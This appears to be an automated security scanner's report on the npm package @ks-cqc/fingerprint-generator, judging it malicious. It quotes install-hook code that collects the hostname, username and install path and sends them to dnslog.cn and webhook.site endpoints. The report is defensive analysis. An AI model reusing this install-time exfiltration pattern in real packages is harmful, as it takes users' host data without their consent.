registry / Data exfiltration / @ks-cqc/fingerprint-generator

@ks-cqc/fingerprint-generator

Security research placeholder. Registered to prevent dependency-confusion abuse of an internal package name. Contains a benign install-time canary that reports only hostname/username/install-path to a research-controlled endpoint. No data collection beyon

This report shows the evidence for @ks-cqc/fingerprint-generator@1.99.99, the only known version.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The source implements concrete, unconsented install-time host-data exfiltration to external endpoints. The stated research purpose does not remove the active collection and transmission behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm preinstall, install, or postinstall

Impact

Unconsented disclosure of local identity and installation-location data to third parties.

Mechanism

install-time DNS and HTTPS host-fingerprint exfiltration

Attack narrative

Installing the package invokes install.js through preinstall, install, and postinstall. The script obtains the hostname, username, and current working directory, embeds identity values in a DNS lookup, and POSTs the values to webhook.site with TLS certificate verification disabled.

AI rationale

The source implements concrete, unconsented install-time host-data exfiltration to external endpoints. The stated research purpose does not remove the active collection and transmission behavior.

Evidence

package.jsoninstall.jsindex.jsREADME.md

Network endpoints2

f1lo5k.dnslog.cnwebhook.site/a97323a7-ff55-4678-b499-7392cc604db0

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

All preinstall, install, and postinstall hooks execute install.js.
Install code collects hostname, username, and current install path.
It sends those values to external DNS and HTTPS endpoints during installation.
HTTPS disables certificate verification.

Evidence against

No file reads, child-process execution, persistence, or runtime payload is present.
index.js exports an empty object.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.25 KB of source

Source & flagged code

9 flagged

package.jsonView file

•scripts.install = node install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node install.js", "install": "node install.js", "postinstall": "node install.js" },

High

Suspicious Lifecycle Evidence

All preinstall, install, and postinstall hooks execute install.js.

package.jsonView on unpkg · L6

•scripts.preinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

install.jsView file

8const os = require('os'); L9: const dns = require('dns'); L10: const https = require('https'); L11: L12: const PKG = process.env.npm[redacted] || '@ks-cqc/fingerprint-generator'; L13: const VER = process.env.npm[redacted] || '1.99.99'; L14: const HOOK = process.env.npm[redacted] || 'install'; L15: const DNS_ZONE = 'f1lo5k.dnslog.cn'; ... L18: function b64(s) { L19: return Buffer.from(String(s)).toString('base64').replace(/[^a-zA-Z0-9]/g, '').slice(0, 32) || 'x'; L20: } ... L22: let h = 'x', u = 'x', p = 'x';

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

install.jsView on unpkg · L8

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> install.js const https = require('https'); const HTTP_PATH = '/a97323a7-ff55-4678-b499-7392cc604db0'; // 2) HTTPS canary (best effort) const data = JSON.stringify({ pkg: PKG, ver: VER, hook: HOOK, h: h, u: u, p: p, t: Date.now() }); const req = https.request({ host: 'webhook.site', port: 443, path: HTTP_PATH, method: 'POST', req.write(data); req.end();

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

install.jsView on unpkg

22let h = 'x', u = 'x', p = 'x'; try { h = os.hostname() || 'x'; } catch (e) {} try { u = (os.userInfo() || {}).username || 'x'; } catch (e) {} try { p = process.cwd() || 'x'; } catch (e) {}

High

Ai Review Evidence

Install code collects hostname, username, and current install path.

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.install = node install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node install.js", "install": "node install.js", "postinstall": "node install.js" },

High

Suspicious Lifecycle Evidence

All preinstall, install, and postinstall hooks execute install.js.

package.jsonView on unpkg · L6

•scripts.preinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = node install.js

Medium

Findings

6 High5 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationinstall.js

HighTrigger Reachable External Post Callbackinstall.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

LowScripts Present

Affected versions and remediation

This report applies to @ks-cqc/fingerprint-generator@1.99.99.

The versions list below shows the verdict for each recorded version.

Avoid installing @ks-cqc/fingerprint-generator@1.99.99. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-22 17:06:18.000Z (UTC).

Source advisory published: 2026-09-22 17:06:18.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.99.99latestshownMaliciousData ExfiltrationBlockPublishedAug 11, 2026, 11:48 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @ks-cqc

Other data exfiltration packages

Behavioral surface

Related packages

More from @ks-cqc

Other data exfiltration packages

Source & flagged code